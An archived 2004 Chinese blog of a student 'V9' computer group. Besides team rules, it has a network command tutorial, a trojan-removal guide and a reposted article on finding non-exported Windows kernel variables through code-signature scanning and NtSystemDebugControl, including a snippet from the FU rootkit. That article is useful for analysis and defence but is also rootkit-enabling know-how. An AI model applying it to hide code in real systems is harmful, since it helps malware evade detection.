关于作者

用户名:007show
笔名:007show
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



技术交流

访问统计:
文章个数:14
评论个数:7
留言条数:0




Powered by BlogDriver 2.1

V9 (中国)计算机技术研究开发组织

 

V9 (中国)计算机技术研究开发组织

文章

成员要求

1.  不应过早地为这个团队定型,因为计算机技术地乐趣不止于黑客技术,现在大家应该更广泛地了解知识原理,到大学时依照V9的整体发展路线再选择各自专攻项目,这样可以让我们的团队更灵活,随需而动.

 


1.  不应过早地为这个团队定型,因为计算机技术地乐趣不止于黑客技术,现在大家应该更广泛地了解知识原理,到大学时依照V9的整体发展路线再选择各自专攻项目,这样可以让我们的团队更灵活,随需而动.

2.  整体成员人数不超过9人,大家听过"水晶法则"没有?8个人一起工作的团队效率是最高的.现在6人左右,吸纳1~2个女成员更好.

3.  加入V9必须经过笔试1-->笔试2-->面试1-->面试2的考验.笔试题目由全体成员制定,|素菜还真|负责发布与更新.笔试1包括个人简介、对计算机技术的个人理解和加入V9的目的等.笔试2包括较专业的两题测试.面试1由|素菜还真|和|狙击手|负责,范围为原理型.面试2由|Neo|和|Code|负责,题型不限(难度中上).最后由|Neo|和|Code|决定是否提交大家讨论,6人支持即可通过.

4.  域名管理.管理权限由|素菜|、本年购买人与上年购买人负责,|素菜|跟进每年域名购买顺序(排列每位成员的购买日期,1人1年).

5.  资金管理.所有捐助或活动资金管理由|风尘|处理,|风尘|再组织介绍下方公布其银行帐号.

6.  服务器问题.非常感谢|天涯|和|风尘|对我们的支持,以后有一定资金将会答谢他们俩,再在网站的一些位置写服务器由|E网情深|资金赞助,卖卖广告.

7.  站点布局与内容.布局以简洁明了为主,银色及蓝色调,内容以成员的原创为主,每位成员一个月必须有一篇文章.技术讨论以论坛为载体.

8.  另外,如果大家有什么问题、意见或建议可在论坛提出.谢谢大家的支持!


 

- 作者: 007show 2004年12月11日, 星期六 22:17  回复(0) |  引用(0) 加入博采

成员建议
·敬业精神和上进心;
·有韧性,知难而进,具有不达目标不罢休的决心和信心;

V9 will rock you!!!


·敬业精神和上进心;
·有韧性,知难而进,具有不达目标不罢休的决心和信心;
·有责任感
敢于承担责任,对于职责范围内的事情敢于做出决定;
敢于承担责任,对于发生的问题不推诿;
·学习精神
应该非常虚心地吸收前任、身边人的先进工作方法和经验,能够虚心地借鉴其它团队的先进经验,向书本学习、向实践学习、向优秀人学习,只有不断学习,才能不断超越;
·创新精神
不是按部就班,而是不断地去创新和思考,创造性地完成工作;
·团队精神
能快速融入团队,善于协作、共享,有团队意识和大局观;
·善于沟通
树立强烈的沟通意识,掌握有效的沟通方法;
·既会工作,又会生活 把工作当作生活的一部分,在工作中体会生活的乐趣;

 

- 作者: 007show 2004年12月11日, 星期六 20:50  回复(0) |  引用(0) 加入博采

获取Windows 系统的内核变量
    PsLoadedModuleList等重要内核变量并未被ntoskrnl.exe导出,也没有公开的函
数可以获取。而这些内核变量对于Rootkit、Anti-Rootkit 以及内核溢出的利用等都
是至关重要的。

作  者:于旸
邮  件:tombkeeper[0x40]nsfocus[0x2e]com
        tombkeeper[0x40]xfocus[0x2e]org
完成于:2004.07.30
关键字:PsLoadedModuleList、PsActiveProcessHead、NtSystemDebugControl
        PsNtosImageBase、KdVersionBlock、KdDebuggerDataBlock、内核变量



    PsLoadedModuleList等重要内核变量并未被ntoskrnl.exe导出,也没有公开的函
数可以获取。而这些内核变量对于Rootkit、Anti-Rootkit 以及内核溢出的利用等都
是至关重要的。

    下面我们以PsLoadedModuleList、PsActiveProcessHead 等为例,介绍得到这些
变量的方法。

    对于Windows NT 4.0和Windows 2000,尚没有“温柔”的办法可以获取这些变量,
比较理想的办法也就是特征代码搜索,这种方法虽然暴力,但通常都很有效,一般也
不会出问题;对于Windows XP和Windows 2003,我们找到了一些更加优雅的选择。

    下面首先介绍特征代码搜索的方法。

[DWORD KernelBase]

    要进行特征代码搜索,首先要定位ntoskrnl.exe在内核的加载地址KernelBase。
这个地址可以通过ZwQuerySystemInformation Class 10的SystemModuleInformation
来得到。参考资源[1]中给出了相关代码。事实上,KernelBase 这个值对同一操作系
统来说非常固定,可以作为常量来用:

Windows NT:  0x80100000
Windows 2000:0x80400000
Windows XP:  0x804d1000
Windows 2003: 0x804e0000

    Windows NT 4.0 ntoskrnl.exe 的OptionalHeader->ImageBase = 0x80100000,
ntldr 也会按照这个值来加载内核,但是从Windows 2000开始就不是这样了。可能基
于这个历史原因,各系统的*(DWORD *)PsNtosImageBase始终初始化为0x80100000。

    另外,内核变量PsNtosImageBase、KdpNtosImageBase等也指向KernelBase:

KernelBase = *(DWORD *)PsNtosImageBase
KernelBase = *(DWORD *)KdpNtosImageBase

[LIST_ENTRY PsLoadedModuleList]

    PsLoadedModuleList这个全局变量指向一个保存着所加载驱动信息的双向链表。
通过它可以枚举系统中所有的驱动模块。

    虽然很多内核函数都用到了PsLoadedModuleList,但是大部分并没有被导出,而
从基址开始搜会很花时间。对于Windows 2000来说,从下面这个地方入手是个好主意:

nt!MmGetSystemRoutineAddress+0x66:
804f0ed0 8b35f0e84680     mov     esi,[nt!PsLoadedModuleList (8046e8f0)]
804f0ed6 81fef0e84680     cmp     esi,0x8046e8f0

流程如下:
1、ImageBase = LoadLibraryA("ntoskrnl.exe")
2、GetProcAddress(ImageBase,"MmGetSystemRoutineAddress")
3、搜索特征代码:
*(WORD *)(MmGetSystemRoutineAddress + i) = 0x358b &&
*(WORD *)(MmGetSystemRoutineAddress + i + 6) = 0xfe81
&&
*(DWORD *)(MmGetSystemRoutineAddress + i + 2) ==
*(DWORD *)(MmGetSystemRoutineAddress + i + 8)
4、定位内核中的地址:
PsLoadedModuleList =
*(DWORD *)(MmGetSystemRoutineAddress + i + 2) + (KernelBase - ImageBase)

    从SP0到SP4,i值并不相同,但是肯定不大于0x100。

    对Windows NT来说,就没这么好运气了,没有理想的可用于定位的API,只能从头
开始搜索。下面这段代码至少对SP1~SP6a的来说都具有很好的稳定性和唯一性:
801CEB1C: 8B 4D 08           mov       ecx,dword ptr [ebp+8]
801CEB1F: 89 01              mov       dword ptr [ecx],eax
801CEB21: 8B 45 0C           mov       eax,dword ptr [ebp+0Ch]
801CEB24: 89 10              mov       dword ptr [eax],edx
801CEB26: 8B 36              mov       esi,dword ptr [esi]
801CEB28: 81 FE 70 0B 15 80  cmp       esi,80150B70h  //PsLoadedModuleList

    如果是用驱动做这件事情,就不必暴力搜索了,fuzen_op(fuzen_op@yahoo.com)
在FU_Rootkit2.0(参考资源[2])中使用了一段比较巧妙的代码:

DWORD FindPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
    PMODULE_ENTRY pm_current;
    if (DriverObject == NULL)
        return 0;

    pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14));
    if (pm_current == NULL)
        return 0;

    gul_PsLoadedModuleList = pm_current;

    while ((PMODULE_ENTRY)pm_current->le_mod.Flink != gul_PsLoadedModuleList)
    {
        if ((pm_current->unk1 == 0x00000000) &&
        (pm_current->driver_Path.Length == 0))
        {
            return (DWORD) pm_current;
        }
        pm_current = (MODULE_ENTRY*)pm_current->le_mod.Flink;
    }

    return 0;
}

[LIST_ENTRY PsActiveProcessHead]

    理论上PsActiveProcessHead 也可以用搜索代码的方法来取,但是还有更简单的
方法。

    ntoskrnl.exe导出的PsInitialSystemProcess 是一个PEPROCESS,指向system进
程的EPROCESS。这个EPROCESS的结构成员EPROCESS.ActiveProcessLinks.Blink 就是
PsActiveProcessHead:

kd> dt _EPROCESS ActiveProcessLinks.Blink poi(PsInitialSystemProcess)
   +0x0a0 ActiveProcessLinks  :  [ 0x81356900 - 0x8046e728 ]
      +0x004 Blink               : 0x8046e728  [ 0x81a2fb00 - 0xff5a4ce0 ]
kd> ? PsActiveProcessHead
Evaluate expression: -2142836952 = 8046e728

    EPROCESS这个结构在不同的操作系统上各不相同,需要分别对待。

[struct _KDDEBUGGER_DATA64 KdDebuggerDataBlock]

    Windows 2000 开始,系统引入了变量KdDebuggerDataBlock。其中包含了大量的
内核变量。如果能够获取到的话,可以解决许多问题。遗憾的是,Windows NT上没有
这个变量。WinDBG SDK的wdbgexts.h中包含了它的结构:
    typedef struct _KDDEBUGGER_DATA64
因为比较长,这里就不引用了。

    从对5.0.2195.6902版本ntoskrnl.exe 的逆向工程结果来看,只有两个函数使用
了该变量,并且,两个函数都未导出,且代码前后没有明显特征,无法靠直接搜索代
码来获取。

    但是,我们发现,ntoskrnl.exe导出了KdEnableDebugger,KdEnableDebugger会
调用KdInitSystem,而KdInitSystem 中引用了KdDebuggerDataBlock:

n < 100

Windows 2000:

KdEnableDebugger + n:
6A 00                 push    0
6A 00                 push    0
C6 05 28 41 48 00 01  mov     _PoHiberInProgress, 1
E8 1C DC 10 00        call    _KdInitSystem@8 ; KdInitSystem(x,x)

KdInitSystem + n:
68 70 02 00 00        push    270h      // sizeof(KdDebuggerDataBlock)
B9 50 D1 54 00        mov     ecx, offset _KdpDebuggerDataListHead
68 D8 FA 46 00        push    offset KdDebuggerDataBlock
8B 40 18              mov     eax, [eax+18h]
68 4B 44 42 47        push    4742444Bh // "KDBG",可以用作搜索的定位标志
A3 3C D1 54 00        mov     ds:_KdpNtosImageBase, eax
89 0D 54 D1 54 00     mov     ds:dword_54D154, ecx
89 0D 50 D1 54 00     mov     ds:_KdpDebuggerDataListHead, ecx

Windows XP

KdEnableDebugger + n:
6A 00                 push    0
6A 00                 push    0
C6 05 8C 98 47 00 01  mov     _PoHiberInProgress, 1
E8 2B 17 13 00        call    _KdInitSystem@8 ; KdInitSystem(x,x)

KdInitSystem + n:
68 90 02 00 00        push    290h
68 E0 9D 46 00        push    offset KdDebuggerDataBlock
BE 74 96 59 00        mov     esi, offset _KdpDebuggerDataListHead
68 4B 44 42 47        push    4742444Bh
89 35 78 96 59 00     mov     ds:dword_599678, esi
89 35 74 96 59 00     mov     ds:_KdpDebuggerDataListHead, esi

Windows 2003

KdEnableDebugger + n:
56                    push    esi
56                    push    esi
C6 05 0C 08 49 00 01  mov     PoHiberInProgres, 1
E8 CB AD 15 00        call    _KdInitSystem@8 ; KdInitSystem(x,x)

KdInitSystem + n:
68 18 03 00 00        push    318h
68 D0 A3 47 00        push    offset KdDebuggerDataBlock
BE 18 10 5D 00        mov     esi, offset _KdpDebuggerDataListHead
68 4B 44 42 47        push    4742444Bh
89 35 1C 10 5D 00     mov     ds:dword_5D101C, esi
89 35 18 10 5D 00     mov     ds:_KdpDebuggerDataListHead, esi

    可以看出,上面代码特征的唯一性很好。用于搜索是没有问题的。我在上面同时
列出了三个系统的代码,仅仅只是为了比较,事实上,对Windows XP和Windows 2003
是完全没有必要采取如此暴力手段的。



    下面介绍针对Windows XP和Windows 2003的方法。

[struct _DBGKD_GET_VERSION64 KdVersionBlock]

    Opc0de和Edgar Barbosa在参考资源[3]中提到,Windows XP和Windows 2003引入
的一个新内核变量:KdVersionBlock,其结构中包含了PsLoadedModuleList。

    WinDBG SDK的wdbgexts.h中有KdVersionBlock的结构:

typedef struct _DBGKD_GET_VERSION64 {
    USHORT  MajorVersion;
    USHORT  MinorVersion;
    USHORT  ProtocolVersion;
    USHORT  Flags;
    USHORT  MachineType;
    UCHAR   MaxPacketType;
    UCHAR   MaxStateChange;
    UCHAR   MaxManipulate;
    UCHAR   Simulation;
    USHORT  Unused[1];
    ULONG64 KernBase;
    ULONG64 PsLoadedModuleList;
    ULONG64 DebuggerDataList;

} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

KdVersionBlock是KPCR的一个成员:

lkd> dt _kpcr ffdff000
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : 0xf717dbcc
   +0x004 Used_StackBase   : (null)
   +0x008 PerfGlobalGroupMask : (null)
   +0x00c TssCopy          : 0x80042000
   +0x010 ContextSwitches  : 0x1f8b07a
   +0x014 SetMemberCopy    : 1
   +0x018 Used_Self        : 0x7ffde000
   +0x01c SelfPcr          : 0xffdff000
   +0x020 Prcb             : 0xffdff120
   +0x024 Irql             : 0x2 ''
   +0x028 IRR              : 0
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0xffff24e0
   +0x034 KdVersionBlock   : 0x8055a3a8     <--
   +0x038 IDT              : 0x8003f400
   +0x03c GDT              : 0x8003f000
   +0x040 TSS              : 0x80042000
   +0x044 MajorVersion     : 1
   +0x046 MinorVersion     : 1
   +0x048 SetMember        : 1
   +0x04c StallScaleFactor : 0x64
   +0x050 SpareUnused      : 0 ''
   +0x051 Number           : 0 ''
   +0x052 Spare0           : 0 ''
   +0x053 SecondLevelCacheAssociativity : 0x8 ''
   +0x054 VdmAlert         : 0
   +0x058 KernelReserved   : [14] 0
   +0x090 SecondLevelCacheSize : 0x80000
   +0x094 HalReserved      : [16] 0
   +0x0d4 InterruptMode    : 0
   +0x0d8 Spare1           : 0 ''
   +0x0dc KernelReserved2  : [17] 0
   +0x120 PrcbData         : _KPRCB

Windows 2000和NT的KPCR是没有这个成员的:

kd> dt _kpcr ffdff000
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x01c SelfPcr          : 0xffdff000
   +0x020 Prcb             : 0xffdff120
   +0x024 Irql             : 0 ''
   +0x028 IRR              : 0
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0xffffffff
   +0x034 Reserved2        : 0              <--
   +0x038 IDT              : 0x80036400
   +0x03c GDT              : 0x80036000
   +0x040 TSS              : 0x802a4000
   +0x044 MajorVersion     : 1
   +0x046 MinorVersion     : 1
   +0x048 SetMember        : 1
   +0x04c StallScaleFactor : 0x64
   +0x050 DebugActive      : 0 ''
   +0x051 Number           : 0 ''
   +0x052 VdmAlert         : 0 ''
   +0x053 Reserved         : [1]  ""
   +0x054 KernelReserved   : [15] 0
   +0x090 SecondLevelCacheSize : 0
   +0x094 HalReserved      : [16] 0
   +0x0d4 InterruptMode    : 0
   +0x0d8 Spare1           : 0 ''
   +0x0dc KernelReserved2  : [17] 0
   +0x120 PrcbData         : _KPRCB

    KPCR 在各版本Windows系统上的值都是固定的0xffdff000,这就给我们提供了另
一个获得PsLoadedModuleList的方法:

#define KPCR 0xffdff000
PsLoadedModuleList = *(DWORD *)( *(DWORD *)(KPCR+0x34)+0x18 )

    KdVersionBlock的结构成员DebuggerDataList实际就是KdpDebuggerDataListHead,
而:
KdpDebuggerDataListHead.Flink = KdDebuggerDataBlock
KdpDebuggerDataListHead.Blink = KdDebuggerDataBlock
    
    也就是说,得到KdVersionBlock也就获得了KdDebuggerDataBlock。


[利用NtSystemDebugControl获取KdVersionBlock]

    Windows XP 和Windows 2003上,kd在使用“-kl”参数本地运行的时候,即使没
有加载符号表,依然能够给出正确的PsLoadedModuleList:

Windows Server 2003 Kernel Version 3790 UP Free x86 compatible
Product: Server, suite: TerminalServer SingleUserTS
Built by: 3790.srv03_rtm.030324-2048
Kernel base = 0x804e0000 PsLoadedModuleList = 0x8056ac08

    显然,Windows 5.1 以上版本提供了获取PsLoadedModuleList和KernelBase的机
制。用WinDBG对kd进行调试(煮豆燃豆萁……)发现,dbgeng.dll调用一个未文档化
的Native API NtSystemDebugControl,获取了上文提到的 KdVersionBlock。调用过
程如下:

dbgeng!DebugClient::WaitForEvent
dbgeng!RawWaitForEvent
dbgeng!WaitForAnyTarget
dbgeng!LocalLiveKernelTargetInfo::WaitForEvent
dbgeng!LiveKernelTargetInfo::InitFromKdVersion
dbgeng!LocalLiveKernelTargetInfo::GetTargetKdVersion
ntdll!NtSystemDebugControl

    对于NtSystemDebugControl,除了BUGTRAQ ID 9694 的一个漏洞报告外,在互联
网上找不到任何相关信息。(事实上,作者报告的问题是不能称之为漏洞的,因为,
要执行这个API,必须拥有SeDebugPrivilege 特权,而正常情况下,只有管理员用户
才有该特权。关于该漏洞,见参考资源[4])。

    逆向工程的结果显示,在Windows XP和Windows 2003上,NtSystemDebugControl
的功能号7将调用内部函数KdpSysGetVersion:
; __stdcall KdpSysGetVersion(x)

arg_0           = dword ptr  0Ch

                push    esi
                push    edi
                mov     edi, [esp+arg_0]
                push    0Ah
                pop     ecx
                mov     esi, offset _KdVersionBlock
                rep movsd
                pop     edi
                pop     esi
                retn    4

    利用NtSystemDebugControl,可以非常优雅地得到KdVersionBlock:

typedef enum _DEBUG_CONTROL_CODE {
    DebugGetKdVersionBlock = 7
} DEBUG_CONTROL_CODE;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl(
    DebugGetKdVersionBlock,
    NULL,
    0,
    &KdVersionBlock,
    sizeof(KdVersionBlock),
    NULL
    );

printf ("KernBase:           0x%.8x ",KdVersionBlock.KernBase);
printf ("PsLoadedModuleList: 0x%.8x ",KdVersionBlock.PsLoadedModuleList);
printf ("DebuggerDataList:   0x%.8x ",KdVersionBlock.DebuggerDataList);

    除了获取KdVersionBlock之外,NtSystemDebugControl还有很多强大的功能,我
将在另外一篇文档中详细介绍。

    现在总结一下。
    
    对Windows 2000来说,最重要的是搜索代码,得到 KdDebuggerDataBlock,得到
了这个,实际上也就得到了PsLoadedModuleList、PsActiveProcessHead等。

    对Windows XP和Windows 2003,最佳的办法是直接利用NtSystemDebugControl得
到KdVersionBlock,然后取得KdDebuggerDataBlock。


参考资源:

[1]内核级HOOK的几种实现与应用
http://www.xfocus.net/articles/200303/499.html

[2]FU_Rootkit 2.0
https://www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip

[3] Finding some non-exported kernel variables in Windows XP
http://www.rootkit.com/vault/Opc0de/GetVarXP.pdf

[4]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
   Escalation Vulnerability
http://www.securityfocus.com/bid/9694

- 作者: 007show 2004年09月19日, 星期日 17:03  回复(0) |  引用(0) 加入博采

网络命令一览 --by Neo

基础知识特别奉献!!  

                          --Neo


Ping
Ping是个使用频率极高的实用程序,用于确定本地主机是否能与另一台主机交换(发送与接收)数据报。根据返回的信息,你就可以推断TCP/IP参数是否设置得正确以及运行是否正常。需要注意的是:成功地与另一台主机进行一次或两次数据报交换并不表示TCP/IP配置就是正确的,你必须执行大量的本地主机与远程主机的数据报交换,才能确信TCP/IP的正确性。


按照缺省设置,Windows上运行的Ping命令发送4个ICMP(网间控制报文协议)回送请求,每个32字节数据,如果一切正常,你应能得到4个回送应答。

Ping能够以毫秒为单位显示发送回送请求到返回回送应答之间的时间量。如果应答时间短,表示数据报不必通过太多的路由器或网络连接速度比较快。Ping还能显示TTL(Time To Live存在时间)值,你可以通过TTL值推算一下数据包已经通过了多少个路由器:源地点TTL起始值(就是比返回TTL略大的一个2的乘方数)-返回时TTL值。例如,返回TTL值为119,那么可以推算数据报离开源地址的TTL起始值为128,而源地点到目标地点要通过9个路由器网段(128-119);如果返回TTL值为246,TTL起始值就是256,源地点到目标地点要通过9个路由器网段。

通过Ping检测网络故障的典型次序

正常情况下,当你使用Ping命令来查找问题所在或检验网络运行情况时,你需要使用许多Ping命令,如果所有都运行正确,你就可以相信基本的连通性和配置参数没有问题;如果某些Ping命令出现运行故障,它也可以指明到何处去查找问题。下面就给出一个典型的检测次序及对应的可能故障:

ping 127.0.0.1--这个Ping命令被送到本地计算机的IP软件,该命令永不退出该计算机。如果没有做到这一点,就表示TCP/IP的安装或运行存在某些最基本的问题。

ping 本机IP--这个命令被送到你计算机所配置的IP地址,你的计算机始终都应该对该Ping命令作出应答,如果没有,则表示本地配置或安装存在问题。出现此问题时,局域网用户请断开网络电缆,然后重新发送该命令。如果网线断开后本命令正确,则表示另一台计算机可能配置了相同的IP地址。

ping 局域网内其他IP--这个命令应该离开你的计算机,经过网卡及网络电缆到达其他计算机,再返回。收到回送应答表明本地网络中的网卡和载体运行正确。但如果收到0个回送应答,那么表示子网掩码(进行子网分割时,将IP地址的网络部分与主机部分分开的代码)不正确或网卡配置错误或电缆系统有问题。

ping 网关IP--这个命令如果应答正确,表示局域网中的网关路由器正在运行并能够作出应答。

ping 远程IP--如果收到4个应答,表示成功的使用了缺省网关。对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。

ping localhost--localhost是个作系统的网络保留名,它是127.0.0.1的别名,每太计算机都应该能够将该名字转换成该地址。如果没有做到这一带内,则表示主机文件(/Windows/host)中存在问题。


如果上面所列出的所有Ping命令都能正常运行,那么你对你的计算机进行本地和远程通信的功能基本上就可以放心了。但是,这些命令的成功并不表示你所有的网络配置都没有问题,例如,某些子网掩码错误就可能无法用这些方法检测到。

Ping命令的常用参数选项

ping IP -t--连续对IP地址执行Ping命令,直到被用户以Ctrl+C中断。

ping IP -l 2000--指定Ping命令中的数据长度为2000字节,而不是缺省的32字节。

ping IP -n--执行特定次数的Ping命令。

Netstat Netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据,一般用于检验本机各端口的网络连接情况。

netstat的一些常用选项:

netstat -s--本选项能够按照各个协议分别显示其统计数据。如果你的应用程序(如Web浏览器)运行速度比较慢,或者不能显示Web页之类的数据,那么你就可以用本选项来查看一下所显示的信息。你需要仔细查看统计数据的各行,找到出错的关键字,进而确定问题所在。

netstat -e--本选项用于显示关于以太网的统计数据。它列出的项目包括传送的数据报的总字节数、错误数、删除数、数据报的数量和广播的数量。这些统计数据既有发送的数据报数量,也有接收的数据报数量。这个选项可以用来统计一些基本的网络流量)。

netstat -r--本选项可以显示关于路由表的信息,类似于后面所讲使用route print命令时看到的 信息。除了显示有效路由外,还显示当前有效的连接。

netstat -a--本选项显示一个所有的有效连接信息列表,包括已建立的连接(ESTABLISHED),也包括监听连接请求(LISTENING)的那些连接。

netstat -n--显示所有已建立的有效连接。

Netstat的妙用


ARP(地址转换协议)

ARP是一个重要的TCP/IP协议,并且用于确定对应IP地址的网卡物理地址。实用arp命令,你能够查看本地计算机或另一台计算机的ARP高速缓存中的当前内容。此外,使用arp命令,也可以用人工方式输入静态的网卡物理/IP地址对,你可能会使用这种方式为缺省网关和本地服务器等常用主机进行这项作,有助于减少网络上的信息量。

按照缺省设置,ARP高速缓存中的项目是动态的,每当发送一个指定地点的数据报且高速缓存中不存在当前项目时,ARP便会自动添加该项目。一旦高速缓存的项目被输入,它们就已经开始走向失效状态。例如,在Windows NT网络中,如果输入项目后不进一步使用,物理/IP地址对就会在2至10分钟内失效。因此,如果ARP高速缓存中项目很少或根本没有时,请不要奇怪,通过另一台计算机或路由器的ping命令即可添加。所以,需要通过arp命令查看高速缓存中的内容时,请最好先ping 此台计算机(不能是本机发送ping命令)。

常用命令选项:

arp -a或arp -g--用于查看高速缓存中的所有项目。-a和-g参数的结果是一样的,多年来-g一直是UNIX平台上用来显示ARP高速缓存中所有项目的选项,而Windows用的是arp -a(-a可被视为all,即全部的意思),但它也可以接受比较传统的-g选项。

arp -a IP--如果你有多个网卡,那么使用arp -a加上接口的IP地址,就可以只显示与该接口相关的ARP缓存项目。

arp -s IP 物理地址——你可以向ARP高速缓存中人工输入一个静态项目。该项目在计算机引导过程中将保持有效状态,或者在出现错误时,人工配置的物理地址将自动更新该项目。

arp -d IP--使用本命令能够人工删除一个静态项目。




看到这里,你也许已经有些累了……其实对于一般用户来说也已经足够——你可以用ipconfig和ping命令来查看自己的网络配置并判断是否正确、可以用netstat查看别人与你所建立的连接并找出ICQ使用者所隐藏的IP信息、可以用arp查看网卡的MAC地址——这些已足已让你丢掉菜鸟的头衔。如果你并不满足,那就“硬着头皮”(下面的内容可能有些枯燥)继续Follow me......

Tracert

当数据报从你的计算机经过多个网关传送到目的地时,Tracert命令可以用来跟踪数据报使用的路由(路径)。该实用程序跟踪的路径是源计算机到目的地的一条路径,不能保证或认为数据报总遵循这个路径。如果你的配置使用DNS,那么你常常会从所产生的应答中得到城市、地址和常见通信公司的名字。Tracert是一个运行得比较慢的命令(如果你指定的目标地址比较远),每个路由器你大约需要给它15秒钟
Tracert的使用很简单,只需要在tracert后面跟一个IP地址或URL,Tracert会进行相应的域名转换的。Tracert一般用来检测故障的位置,你可以用tracert IP在哪个环节上出了问题,虽然还是没有确定是什么问题,但它已经告诉了我们问题所在的地方,你也就可以很有把握的告诉别人——某某出了问题。

Route 大多数主机一般都是驻留在只连接一台路由器的网段上。由于只有一台路由器,因此不存在使用哪一台路由器将数据报发表到远程计算机上去的问题,该路由器的IP地址可作为该网段上所有计算机的缺省网关来输入。

但是,当网络上拥有两个或多个路由器时,你就不一定想只依赖缺省网关了。实际上你可能想让你的某些远程IP地址通过某个特定的路由器来传递,而其他的远程IP则通过另一个路由器来传递。

在这种情况下,你需要相应的路由信息,这些信息储存在路由表中,每个主机和每个路由器都配有自己独一无二的路由表。大多数路由器使用专门的路由协议来交换和动态更新路由器之间的路由表。但在有些情况下,必须人工将项目添加到路由器和主机上的路由表中。Route就是用来显示、人工添加和修改路由表项目的。

一般使用选项:

route print--本命令用于显示路由表中的当前项目,在单路由器网段上的输出结果如图12,由于用IP地址配置了网卡,因此所有的这些项目都是自动添加的。

route add--使用本命令,可以将信路由项目添加给路由表。例如,如果要设定一个到目的网络209.98.32.33的路由,其间要经过5个路由器网段,首先要经过本地网络上的一个路由器,器IP为202.96.123.5,子网掩码为255.255.255.224,那么你应该输入以下命令:

route add 209.98.32.33 mask 255.255.255.224 202.96.123.5 metric 5

route change--你可以使用本命令来修改数据的传输路由,不过,你不能使用本命令来改变数据的目的地。下面这个例子可以将数据的路由改到另一个路由器,它采用一条包含3个网段的更直的路径:

route add 209.98.32.33 mask 255.255.255.224 202.96.123.250 metric 3

route delete--使用本命令可以从路由表中删除路由。例如:route delete 209.98.32.33


NBTStat

NBTStat(TCP/IP上的NetBIOS统计数据)实用程序用于提供关于关于NetBIOS的统计数据。运用NetBIOS,你可以查看本地计算机或远程计算机上的NetBIOS名字表格。

常用选项:

nbtstat -n--显示寄存在本地的名字和服务程序

nbtstat -c--本命令用于显示NetBIOS名字高速缓存的内容。NetBIOS名字高速缓存用于寸放与本计算机最近进行通信的其他计算机的NetBIOS名字和IP地址对。

nbtstat -r--本命令用于清除和重新加载NetBIOS名字高速缓存。

nbtstat -a IP--通过IP显示另一台计算机的物理地址和名字列表,你所显示的内容就像对方计算机自己运行nbtstat -n一样

nbtstat -s IP--显示实用其IP地址的另一台计算机的NetBIOS连接表。

Net

Net命令有很多函数用于实用和核查计算机之间的NetBIOS连接。这里我只介绍最常用的两个:net view和net use。

net view UNC--运用此命令,你可以查看目标服务器上的共享点名字。任何局域网里的人都可以发出此命令,而且不需要提供用户ID或口令。UNC名字总是以开头,后面跟随目标计算机的名字。例如,net view lx就是查看主机名为lx的计算机的共享点(见图15)。

net use 本地盘符 目标计算机共享点——本命令用于建立或取消到达特定共享点的映像驱动器的连接(如果需要,你必须提供用户ID或口令)。例如,你输入net use f: lxmp3就是将映像驱动器F:连接到lxmp3共享点上,今后你直接访问F:就可以访问lxmp3共享点,这和你右击“我的电脑”选择映射网络驱动器类似。

- 作者: 007show 2004年08月29日, 星期日 21:16  回复(2) |  引用(0) 加入博采

100种木马清除的方法 --by Neo

清除木马的步骤



打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
查找以下的两个路径,并删除
" C:windowssystem kernel32.exe"
" C:windowssystem sy***plr.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:windowssystem kernel32.exe和C:windowssystem sy***plr.exe木马程序
重新启动。OK
清除木马v2.2
服务器程序、路径用户是可以随意定义,写入注册表的键名也可以自己定义。
因此,不能明确说明。
你可以察看注册表,把可疑的文件路径删除。
重新启动到MSDOS方式
删除于注册表相对应的木马程序
重新启动Windows。OK

2. Acid Battery v1.0
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Explorer ="C:WINDOWSexpiorer.exe"
关闭Regedit
重新启动到MSDOS方式
删除c:windowsexpiorer.exe木马程序
注意:不要删除正确的ExpLorer.exe程序,它们之间只有i与L的差别。
重新启动。OK

3. Acid Shiver v1.0 + 1.0Mod + lmacid
清除木马的步骤:
重新启动到MSDOS方式
删除C:windowsMSGSVR16.EXE
然后回到Windows系统
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Explorer = "C:WINDOWSMSGSVR16.EXE"
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
删除右边的Explorer = "C:WINDOWSMSGSVR16.EXE"
关闭Regedit
重新启动。OK
重新启动到MSDOS方式
删除C:windowswintour.exe然后回到Windows系统
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Wintour = "C:WINDOWSWINTOUR.EXE"
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
删除右边的Wintour = "C:WINDOWSWINTOUR.EXE"
关闭Regedit
重新启动。OK

4. Ambush
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的zka = "zcn32.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:Windows zcn32.exe
重新启动。OK

5. AOL Trojan
清除木马的步骤:
启动到MSDOS方式
删除C: command.exe(删除前取消文件的隐含属性)
注意:不要删除真的command.com文件。
删除C: americ~1.0uddyl~1.exe(删除前取消文件的隐含属性)
删除C: windowssystem orton~1 egist~1.exe(删除前取消文件的隐含属性)
打开WIN.INI文件
在【WINDOWS】下面"run="和"load="都加载者特洛伊木马程序的路径,必须清除它们:
run=
load=
保存WIN.INI
还要改正注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的WinProfile = c:command.exe
